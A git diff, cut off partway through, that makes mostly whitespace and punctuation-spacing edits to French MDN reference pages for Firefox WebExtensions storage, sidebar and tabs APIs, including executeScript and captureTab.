100644 --- a/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/settitle/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/sidebaraction/settitle/index.md @@ -18,11 +18,11 @@ Définit le titre de la barre latérale. Le titre est affiché n'importe où dan ## Types de titres -Votre extension doit spécifier un titre pour la barre latérale dans la clé de manifest [sidebar_action](/fr/Add-ons/WebExtensions/manifest.json/sidebar_action). C'est ce qu'on appelle le _"titre du manifest"_. Si vous ne spécifiez pas le titre du manifest, il sera par défaut le nom de l'extension +Votre extension doit spécifier un titre pour la barre latérale dans la clé de manifest [sidebar_action](/fr/Add-ons/WebExtensions/manifest.json/sidebar_action). C'est ce qu'on appelle le _"titre du manifest"_. Si vous ne spécifiez pas le titre du manifest, il sera par défaut le nom de l'extension Si vous définissez un nouveau titre à l'aide de `setTitle()`, et incluez l'option `tabId` le titre est défini uniquement pour l'onglet donné. Ce titre est appelé _"titre spécifique à l'onglet"_. -Si vous définissez un nouveau titre à l'aide de `setTitle()`, et incluez l'option `windowId`, alors le titre est défini uniquement pour la fenêtre donnée. Ce titre est appelé _"titre spécifique à la fenêtre"_, et apparaîtra dans tous les onglets de cette fenêtre qui n'ont pas de titre spécifique à un onglet. +Si vous définissez un nouveau titre à l'aide de `setTitle()`, et incluez l'option `windowId`, alors le titre est défini uniquement pour la fenêtre donnée. Ce titre est appelé _"titre spécifique à la fenêtre"_, et apparaîtra dans tous les onglets de cette fenêtre qui n'ont pas de titre spécifique à un onglet. Si vous définissez un nouveau titre à l'aide de `setTitle()`, et omettre les options `tabId` et `windowId`, alors ceci définit le _"titre global"_. Le titre global apparaîtra alors dans tous les onglets qui n'ont pas de titre spécifique à un onglet et dont la fenêtre n'a pas de titre spécifique à une fenêtre. @@ -44,7 +44,7 @@ browser.sidebarAction.setTitle( - : `string` ou `null`. Le nouveau titre de la barre latérale. - si le `titre` est une chaîne vide, le titre utilisé sera le nom de l'extension, mais {{WebExtAPIRef("sidebarAction.getTitle")}} fournira toujours la chaîne vide. + si le `titre` est une chaîne vide, le titre utilisé sera le nom de l'extension, mais {{WebExtAPIRef("sidebarAction.getTitle")}} fournira toujours la chaîne vide. Si le `titre` est `null`, alors un titre précédemment défini sera supprimé, de sorte que : diff --git a/files/fr/mozilla/add-ons/webextensions/api/storage/index.md b/files/fr/mozilla/add-ons/webextensions/api/storage/index.md index e1c917cc5a..7091d4ff79 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/storage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/storage/index.md @@ -16,14 +16,14 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/storage Permet aux extensions de stocker et de récupérer des données et d'écouter les modifications apportées aux éléments stockés. -Le mécanisme de stockage est basé sur l'[API Web Storage](/fr/docs/Web/API/Web_Storage_API), à quelques différences près. Elles incluent entre autres : +Le mécanisme de stockage est basé sur l'[API Web Storage](/fr/docs/Web/API/Web_Storage_API), à quelques différences près. Elles incluent entre autres : - Le mécanisme est asynchrone. - La portée des valeurs s'étend à l'extension, pas à un domaine en particulier (c-à-d que les mêmes paires clef/valeur sont disponibles pour tous les scripts d'arrière-plan et de contenu). - Les valeurs stockées peuvent être de tout type compatible avec JSON et pas uniquement [`String`](/fr/docs/Web/JavaScript/Reference/Global_Objects/String). Ce qui inclut entre autres [`Array`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Array) et [`Object`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object), mais seulement si leur contenu peut être représenté en JSON, ce qui exclut les nœuds DOM. Il n'est pas nécessaire de convertir vos valeurs en JSON Strings avant de les stocker, mais elles sont représentées en JSON en interne, d'où l'impératif de compatibilité. - Plusieurs paires clef/valeur peuvent être récupérées par un même appel à l'API. -Pour utiliser cette API vous devez inclure la [permission](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) « storage » dans votre fichier [manifest.json](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json). +Pour utiliser cette API vous devez inclure la [permission](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) « storage » dans votre fichier [manifest.json](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json). Chaque extension a sa propre zone de stockage, qui peut être divisée entre plusieurs types de stockage. diff --git a/files/fr/mozilla/add-ons/webextensions/api/storage/local/index.md b/files/fr/mozilla/add-ons/webextensions/api/storage/local/index.md index cc4caeb2b2..d9eb9d65ea 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/storage/local/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/storage/local/index.md @@ -26,18 +26,18 @@ Lorsque l'extension est désinstallée, son stockage local associé est effacé. Toujours dans Firefox, vous pouvez empêcher le navigateur d'effacer le stockage local lors de la désinstallation en visitant "about:config" et en définissant les deux préférences de navigateur suivantes sur `true`: "keepUuidOnUninstall" et "keepStorageOnUninstall". Cette fonctionnalité est fournie pour aider les développeurs à tester leurs extensions. Les extensions elles-mêmes ne sont pas en mesure de modifier ces préférences. -Bien que cette API soit similaire à {{domxref("Window.localStorage")}} il est recommandé de ne pas utiliser `Window.localStorage` dans le code d'extension. Firefox effacera les données stockées par les extensions à l'aide de l'API localStorage dans divers scénarios où les utilisateurs effacent leur historique de navigation et leurs données pour des raisons de confidentialité, tandis que les données enregistrées avec l'API storage.local seront correctement conservées dans ces scénarios. +Bien que cette API soit similaire à {{domxref("Window.localStorage")}} il est recommandé de ne pas utiliser `Window.localStorage` dans le code d'extension. Firefox effacera les données stockées par les extensions à l'aide de l'API localStorage dans divers scénarios où les utilisateurs effacent leur historique de navigation et leurs données pour des raisons de confidentialité, tandis que les données enregistrées avec l'API storage.local seront correctement conservées dans ces scénarios. ## Méthodes -L'objet `local` local implémente les méthodes définies sur le type {{WebExtAPIRef("storage.StorageArea")}} : +L'objet `local` local implémente les méthodes définies sur le type {{WebExtAPIRef("storage.StorageArea")}} : - {{WebExtAPIRef("storage.StorageArea.get()")}} - : Récupère un ou plusieurs éléments de la zone de stockage. - {{WebExtAPIRef("storage.StorageArea.getBytesInUse()")}} - : Obtient la quantité d'espace de stockage (en octets) utilisée pour stocker un ou plusieurs éléments dans la zone de stockage. - {{WebExtAPIRef("storage.StorageArea.set()")}} - - : Stocke un ou plusieurs éléments dans la zone de stockage. Si l'élément existe déjà, sa valeur sera mise à jour. Lorsque vous définissez une valeur, l'événement {{WebExtAPIRef("storage.onChanged")}} se déclenche. + - : Stocke un ou plusieurs éléments dans la zone de stockage. Si l'élément existe déjà, sa valeur sera mise à jour. Lorsque vous définissez une valeur, l'événement {{WebExtAPIRef("storage.onChanged")}} se déclenche. - {{WebExtAPIRef("storage.StorageArea.remove()")}} - : Supprime un ou plusieurs éléments de la zone de stockage.. - {{WebExtAPIRef("storage.StorageArea.clear()")}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/storage/onchanged/index.md b/files/fr/mozilla/add-ons/webextensions/api/storage/onchanged/index.md index 83949fce09..2f71072946 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/storage/onchanged/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/storage/onchanged/index.md @@ -32,7 +32,7 @@ Les événements ont trois fonctions: - `removeListener(listener)` - : Arrêtez d'écouter cet événement. L'argument `listener` est l'écouteur à supprimer. - `hasListener(listener)` - - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true`s'il écoute, sinon `false`. + - : Vérifiez si `listener` est enregistré pour cet événement. Renvoie `true`s'il écoute, sinon `false`. ## Syntaxe addListener diff --git a/files/fr/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.md b/files/fr/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.md index f527cd543b..0c1daefe38 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.md @@ -31,11 +31,11 @@ C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScrip ### Paramètres - `keys` - - : Une clé (chaîne) ou des clés (un tableau de chaînes ou un objet spécifiant des valeurs par défaut) pour identifier le ou les articles à extraire du stockage. Si vous passez une chaîne vide, un objet ou un tableau ici, un objet vide sera récupéré. Si vous passez `null`, ou une valeur indéfinie, le contenu entier du stockage sera récupéré. + - : Une clé (chaîne) ou des clés (un tableau de chaînes ou un objet spécifiant des valeurs par défaut) pour identifier le ou les articles à extraire du stockage. Si vous passez une chaîne vide, un objet ou un tableau ici, un objet vide sera récupéré. Si vous passez `null`, ou une valeur indéfinie, le contenu entier du stockage sera récupéré. ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet de `resultat` contenant tous les objets dans les `clefs` trouvées dans la zone de stockage. Si l'opération a échoué, la promesse sera rejetée avec un message d'erreur. Si le stockage géré n'est pas défini, les données `non définies` seront retournées. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet de `resultat` contenant tous les objets dans les `clefs` trouvées dans la zone de stockage. Si l'opération a échoué, la promesse sera rejetée avec un message d'erreur. Si le stockage géré n'est pas défini, les données `non définies` seront retournées. > **Attention :** Lorsqu'elle est utilisée dans un script de contenu dans les versions de Firefox antérieures à 52, la promesse retournée par `browser.storage.local.get()` est remplie avec un tableau contenant un objet. L'objet dans le tableau contient les `clefs` trouvées dans la zone de stockage, comme décrit ci-dessus. La promesse est correctement remplie avec un objet lorsqu'il est utilisé dans le contexte d'arrière-plan > (scripts d'arrière-plan, popups, pages d'options, etc.). Lorsque cette API est utilisée en tant que `chrome.storage.local.get()`, elle transmet correctement un objet à la fonction de rappel. diff --git a/files/fr/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.md b/files/fr/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.md index 180fdbefea..88d1f276d6 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.md @@ -18,7 +18,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set Stocke un ou plusieurs éléments dans la zone de stockage ou met à jour les éléments existants.. -Lorsque vous stockez ou mettez à jour une valeur à l'aide de cette API, l'événement {{WebExtAPIRef("storage.onChanged")}} se déclenche. +Lorsque vous stockez ou mettez à jour une valeur à l'aide de cette API, l'événement {{WebExtAPIRef("storage.onChanged")}} se déclenche. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/capturetab/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/capturetab/index.md index 0260c5c44f..781f2006cb 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/capturetab/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/capturetab/index.md @@ -14,7 +14,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/captureTab --- {{AddonSidebar()}} -Crée un URI de données codant une image de la zone visible de l'onglet donné. Vous devez avoir la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `<all_urls>` pour utiliser cette méthode. +Crée un URI de données codant une image de la zone visible de l'onglet donné. Vous devez avoir la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `<all_urls>` pour utiliser cette méthode. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/capturevisibletab/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/capturevisibletab/index.md index e5befafab3..cd94d342b6 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/capturevisibletab/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/capturevisibletab/index.md @@ -15,7 +15,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/captureVisibleTab --- {{AddonSidebar()}} -Crée une URI de données codant une image de la zone visible de l'onglet actuellement actif dans la fenêtre spécifiée. Vous devez avoir la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `<all_urls>` pour utiliser cette méthode. (Alternativement, Chrome permet l'utilisation de cette méthode avec la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `activeTab` et un geste utilisateur qualifiant). +Crée une URI de données codant une image de la zone visible de l'onglet actuellement actif dans la fenêtre spécifiée. Vous devez avoir la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `<all_urls>` pour utiliser cette méthode. (Alternativement, Chrome permet l'utilisation de cette méthode avec la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `activeTab` et un geste utilisateur qualifiant). C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/connect/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/connect/index.md index f232fae5b7..d1cf8b951a 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/connect/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/connect/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/connect Appelez cette fonction pour configurer une connexion entre les scripts d'arrière-plan de l'extension (ou d'autres scripts privilégiés, tels que les scripts d'arrière-plan de l'extrension (ou d'autres scripts privilégiés, tels que les scripts de pages d'options) et les [scripts de contenu](/fr/docs/Mozilla/Add-ons/WebExtensions/Content_scripts) appartenant à cette extension et s'exécutant dans l'onglet spécifié. Cette fonction renvoie un objet {{WebExtAPIRef("runtime.Port")}}. -Lorsque cela est appelée, l'événement {{WebExtAPIRef('runtime.onConnect')}} est déclenché dans tout script de contenu appartenant à cette extension qui s'exécute dans l'onglet spécifié. L'écouteur d'événement recevra un autre objet {{WebExtAPIRef("runtime.Port")}}. Les deux parties peuvent ensuite utiliser les objets `Port` pour échanger des messages. +Lorsque cela est appelée, l'événement {{WebExtAPIRef('runtime.onConnect')}} est déclenché dans tout script de contenu appartenant à cette extension qui s'exécute dans l'onglet spécifié. L'écouteur d'événement recevra un autre objet {{WebExtAPIRef("runtime.Port")}}. Les deux parties peuvent ensuite utiliser les objets `Port` pour échanger des messages. Pour plus de détails, voir [connection-based messaging](/fr/Add-ons/WebExtensions/Content_scripts#Connection-based_messaging). diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/create/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/create/index.md index cfecca4588..85aacc228a 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/create/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/create/index.md @@ -34,22 +34,22 @@ var creating = browser.tabs.create( - : `object`.Propriétés pour donner le nouvel onglet. Pour en savoir plus sur ces propriétés, consultez la documentation {{WebExtAPIRef("tabs.Tab")}}. - `active`{{optional_inline}} - - : `boolean`. Si l'onglet doit devenir l'onglet actif dans la fenêtre. Si elle est `false`, elle n'a aucun effet. N'affecte pas si la fenêtre est mise au point (voir {{WebExtAPIRef('windows.update')}}). Par défaut à `true`. + - : `boolean`. Si l'onglet doit devenir l'onglet actif dans la fenêtre. Si elle est `false`, elle n'a aucun effet. N'affecte pas si la fenêtre est mise au point (voir {{WebExtAPIRef('windows.update')}}). Par défaut à `true`. - `cookieStoreId` {{optional_inline}} - - : `string`. Utilisez-le pour créer un onglet dont l'ID de cookie estCette option n'est disponible que si l'extension a la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `"cookies".` + - : `string`. Utilisez-le pour créer un onglet dont l'ID de cookie estCette option n'est disponible que si l'extension a la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) `"cookies".` - `index`{{optional_inline}} - : `integer`. La position que l'onglet devrait prendre dans la fenêtre. La valeur fournie sera comprise entre zéro et le nombre d'onglets dans la fenêtre. - `openerTabId`{{optional_inline}} - : `integer`. L'ID de l'onglet qui a ouvert cet onglet. Si spécifié, l'onglet d'ouverture doit être dans la même fenêtre que l'onglet nouvellement créé. - `openInReaderMode`{{optional_inline}} - - : `boolean`. si `true`, ouvrez cet onglet en [mode lecture](/fr/Add-ons/WebExtensions/API/tabs/toggleReaderMode). Par défaut à `false`. + - : `boolean`. si `true`, ouvrez cet onglet en [mode lecture](/fr/Add-ons/WebExtensions/API/tabs/toggleReaderMode). Par défaut à `false`. - `pinned`{{optional_inline}} - : `boolean`. Si l'onglet doit être épinglé. Par défaut à `false`. - `selected`{{optional_inline}} - : `boolean`. Si l'onglet doit devenir l'onglet sélectionné dans la fenêtre. Par défaut à `true`. - > **Attention :** Cette propriété est obsolète et n'est pas prise en charge dans Firefox. Utilisez `actif` à la place. + > **Attention :** Cette propriété est obsolète et n'est pas prise en charge dans Firefox. Utilisez `actif` à la place. - `url`{{optional_inline}} @@ -66,7 +66,7 @@ var creating = browser.tabs.create( - privileged about: URLs (par exemple, `about:config`, `about:addons`, `about:debugging`). Les URL non privilégiées (e.g., `about:blank`) sont autorisés. - La page Nouvel onglet (`about:newtab`) peut être ouverte si aucune valeur n'est fournie pour l'URL. - Pour charger une page fournie avec votre extension, spécifiez une URL absolue à partir du fichier manifest.json de l'extension. Par exemple : '/path/to/my-page.html'. Si vous omettez le premier caractère '/', l'URL est traitée comme une URL relative et différents navigateurs peuvent construire différentes URL absolues. + Pour charger une page fournie avec votre extension, spécifiez une URL absolue à partir du fichier manifest.json de l'extension. Par exemple : '/path/to/my-page.html'. Si vous omettez le premier caractère '/', l'URL est traitée comme une URL relative et différents navigateurs peuvent construire différentes URL absolues. - `windowId`{{optional_inline}} - : `integer`. La fenêtre pour créer le nouvel onglet. Par défaut à la fenêtre actuelle. diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/detectlanguage/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/detectlanguage/index.md index ace90d2a9c..3ef66615ef 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/detectlanguage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/detectlanguage/index.md @@ -37,7 +37,7 @@ var detecting = browser.tabs.detectLanguage( ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise)qui sera remplie avec une chaîne représentant un code de langue ISO tel que `en` ou `fr`. Pour une liste complète des langues prises en charge par cette méthode, see [kLanguageInfoTable](https://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc#l23). Pour une langue inconnue, `"und"` sera retourné (mais voir [bug 1288263](https://bugzilla.mozilla.org/show_bug.cgi?id=1288263)). Si une erreur se produit, la promesse sera rejetée avec un message d'erreur. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise)qui sera remplie avec une chaîne représentant un code de langue ISO tel que `en` ou `fr`. Pour une liste complète des langues prises en charge par cette méthode, see [kLanguageInfoTable](https://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc#l23). Pour une langue inconnue, `"und"` sera retourné (mais voir [bug 1288263](https://bugzilla.mozilla.org/show_bug.cgi?id=1288263)). Si une erreur se produit, la promesse sera rejetée avec un message d'erreur. ## Exemples @@ -58,7 +58,7 @@ browser.browserAction.onClicked.addListener(function() { }); ``` -Détecter et enregistrer la langue de chaque onglet ouvert lorsque l'utilisateur clique sur une action du navigateur (notez que cet exemple nécessite la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "tabs") : +Détecter et enregistrer la langue de chaque onglet ouvert lorsque l'utilisateur clique sur une action du navigateur (notez que cet exemple nécessite l [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "tabs") : ```js function onLanguageDetected(url, lang) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/discard/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/discard/index.md index c20e84caca..0227d00cfa 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/discard/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/discard/index.md @@ -20,7 +20,7 @@ Certains navigateurs "suppriment" automatiquement les onglets dont ils ne pensen Les détails de ce qui est supprimé sont spécifiques au navigateur, mais en général, l'abandon d'un onglet permet au navigateur de libérer une partie de la mémoire occupée par cet onglet. -L'API {{WebExtAPIRef("tabs.discard()")}} permet à une extension d'ignorer un ou plusieurs onglets. Il n'est pas possible de supprimer l'onglet actuellement actif ou un onglet dont le document contient un programme d'écoute [`beforeunload`](/fr/docs/Web/Events/beforeunload) qui afficherait une invite. +L'API {{WebExtAPIRef("tabs.discard()")}} permet à une extension d'ignorer un ou plusieurs onglets. Il n'est pas possible de supprimer l'onglet actuellement actif ou un onglet dont le document contient un programme d'écoute [`beforeunload`](/fr/docs/Web/Events/beforeunload) qui afficherait une invite. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/duplicate/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/duplicate/index.md index 9899a0c7aa..ff231679b8 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/duplicate/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/duplicate/index.md @@ -25,7 +25,7 @@ let duplicating = browser.tabs.duplicate( - : `integer`. L'identifiant de l'onglet à dupliquer. - `duplicateProperties` Optionnel - - : `object`. Un objet décrivant la façon dont l'onglet est dupliqué. Il contient les propriétés suivantes : + - : `object`. Un objet décrivant la façon dont l'onglet est dupliqué. Il contient les propriétés suivantes : - `index` Optionnel - : `integer`. La position du nouvel onglet dans la fenêtre. La valeur est restreinte à l'intervalle entre zéro et le nombre d'onglets dans la fenêtre. diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/executescript/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/executescript/index.md index bdc985eba3..780ca119fd 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/executescript/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/executescript/index.md @@ -53,12 +53,12 @@ var executing = browser.tabs.executeScript( - : `integer`. L’ID de l’onglet dans lequel exécuter le script. Par défaut, l’onglet actif de la fenêtre en cours. - `details` - - : Un objet décrivant le script à exécuter. Il contient les propriétés suivantes : + - : Un objet décrivant le script à exécuter. Il contient les propriétés suivantes : - `allFrames` {{optional_inline}} - : `boolean`. Si `true`, le code sera injecté dans toutes les cadres de la page courante. Si `true` et `frameId` est défini, alors il y aura une erreur, frameId et allFrames sont mutuellement exclusifs. Si c'est `false`, le code n'est injecté que dans le cadre supérieur. La valeur par défaut est `false`. - `code` {{optional_inline}} - - : `string`. Code à injecter, sous la forme d’une chaine de texte. **Attention :** n’utilisez pas cette propriété pour interpoler des données non sûres dans JavaScript, car cela pourrait introduire une faille de sécurité. + - : `string`. Code à injecter, sous la forme d’une chaine de texte. **Attention :** n’utilisez pas cette propriété pour interpoler des données non sûres dans JavaScript, car cela pourrait introduire une faille de sécurité. - `file` {{optional_inline}} - : `string`. Chemin d’accès à un fichier contenant le code à injecter. Dans Firefox, les URL relatives ne commençant pas à la racine de l'extension sont résolues par rapport à l'URL de la page en cours. Dans Chrome, ces URL sont résolues par rapport à l’URL de base de l’extension. Pour travailler avec plusieurs navigateurs, vous pouvez spécifier le chemin comme une URL relative, en commençant à la racine de l’extension, comme ceci : `"/path/to/script.js"`. - `frameId` {{optional_inline}} @@ -72,7 +72,7 @@ var executing = browser.tabs.executeScript( Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) résolue avec un tableau d’objets représentant le résultat du script dans chaque cadre où le script a été injecté. -Le résultat du script est la dernière instruction évaluée, ce qui est similaire à ce qui serait produit (les résultats, pas les affichages de `console.log()`) si vous exécutiez le script dans la [Console Web](/fr/docs/Outils/Console_Web). Par exemple, considérez un script comme celui-ci : +Le résultat du script est la dernière instruction évaluée, ce qui est similaire à ce qui serait produit (les résultats, pas les affichages de `console.log()`) si vous exécutiez le script dans la [Console Web](/fr/docs/Outils/Console_Web). Par exemple, considérez un script comme celui-ci : ```js var foo='my result';foo; @@ -83,7 +83,7 @@ Si une erreur se produit, la promesse sera rejetée avec un message d’erreur. ## Exemples -Cet exemple exécute un extrait de code d’une ligne dans l’onglet actuellement actif : +Cet exemple exécute un extrait de code d’une ligne dans l’onglet actuellement actif : ```js function onExecuted(result) { @@ -102,7 +102,7 @@ var executing = browser.tabs.executeScript({ executing.then(onExecuted, onError); ``` -L’exemple suivant exécute un script à partir d’un fichier empaqueté avec l’extension appelé `content-script.js`. Le script est exécuté dans l’onglet actuellement actif. Le script est exécuté dans les sous-cadres ainsi que dans le document principal : +L’exemple suivant exécute un script à partir d’un fichier empaqueté avec l’extension appelé `content-script.js`. Le script est exécuté dans l’onglet actuellement actif. Le script est exécuté dans les sous-cadres ainsi que dans le document principal : ```js function onExecuted(result) { @@ -120,7 +120,7 @@ var executing = browser.tabs.executeScript({ executing.then(onExecuted, onError); ``` -L’exemple suivant exécute un script à partir d’un fichier empaqueté avec l’extension appelé `content-script.js`. Le script est exécuté dans l’onglet ayant l’ID 2 : +L’exemple suivant exécute un script à partir d’un fichier empaqueté avec l’extension appelé `content-script.js`. Le script est exécuté dans l’onglet ayant l’ID 2 : ```js function onExecuted(result) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/getcurrent/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/getcurrent/index.md index fc0ca25903..9d8c4b3579 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/getcurrent/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/getcurrent/index.md @@ -17,7 +17,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/getCurrent Obtenez un {{WebExtAPIRef("tabs.Tab")}} contenant des informations sur l'onglet dans lequel ce script s'exécute. -Vous pouvez appeler cette fonction dans des contextes comportant un onglet de navigateur, par exemple une [pages d'options](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Options_pages). Si vous l'appelez à partir d'un script d'arrière-plan ou d'une fenêtre contextuelle, elle renverra undefined. +Vous pouvez appeler cette fonction dans des contextes comportant un onglet de navigateur, par exemple une [pages d'options](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Options_pages). Si vous l'appelez à partir d'un script d'arrière-plan ou d'une fenêtre contextuelle, elle renverra undefined. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/getzoom/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/getzoom/index.md index 689aa3b568..3128fa8a48 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/getzoom/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/getzoom/index.md @@ -38,7 +38,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se ## Exemples -Obtenez le facteur de zoom pour l'onglet actuel : +Obtenez le facteur de zoom pour l'onglet actuel : ```js function onGot(zoom) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/goback/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/goback/index.md index bcacffa657..c0835665ce 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/goback/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/goback/index.md @@ -21,7 +21,7 @@ Il s'agit d'une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/Jav ## Syntaxe ```js -var withgoingBack = browser.tabs.goBack( +var withgoingBack = browser.tabs.goBack( tabId, // optional integer callback // optional function ) diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/hide/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/hide/index.md index b934121907..9a42e7ea84 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/tabs/hide/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/tabs/hide/index.md @@ -16,7 +16,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/hide Masque un ou plusieurs onglets. -Les onglets cachés ne sont plus visibles dans l'onglet du navigateur. Les onglets cachés ne sont pas automatiquement [supprimés](/fr/Add-ons/WebExtensions/API/tabs/discard) : le code qui s'y trouve continue à s'exécuter. Vous pouvez explicitement supprimer les onglets à chaque fois que vous les masquez : bien que cela ne soit pas approprié dans toutes les situations, cela aidera à réduire les ressources utilisées par le navigateur. +Les onglets cachés ne sont plus visibles dans l'onglet du navigateur. Les onglets cachés ne sont pas automatiquement [supprimés](/fr/Add-ons/WebExtensions/API/tabs/discard) : le code qui s'y trouve continue à s'exécuter. Vous pouvez explicitement supprimer les onglets à chaque fois que vous les masquez : bien que cela ne soit pas approprié dans toutes les situations, cela aidera à réduire les ressources utilisées par le navigateur. C'est une fonction asynchrone qui renvoie une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise). @@ -29,7 +29,7 @@ Tous les onglets ne peuvent pas être masqués : La première fois qu'une extension cache un onglet, le navigateur indiquera à l'utilisateur que l'onglet est caché, leur montrera comment ils peuvent accéder à l'onglet caché et leur donnera l'option de désactiver l'extension à la place. -Pour utiliser cette API, vous devez disposer de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "tabHide". +Pour utiliser cette API, vous devez disposer de la [permission](/fr/Add-ons/WebExtensions/manifest.json/permissions) "tabHide". ## Syntaxe diff --git a/files/fr/mozilla/add-ons/webextensions/api/tabs/highlight/index.md b/files/fr/mozilla/add-ons/webextensions/api/tabs/highlight/index.md index 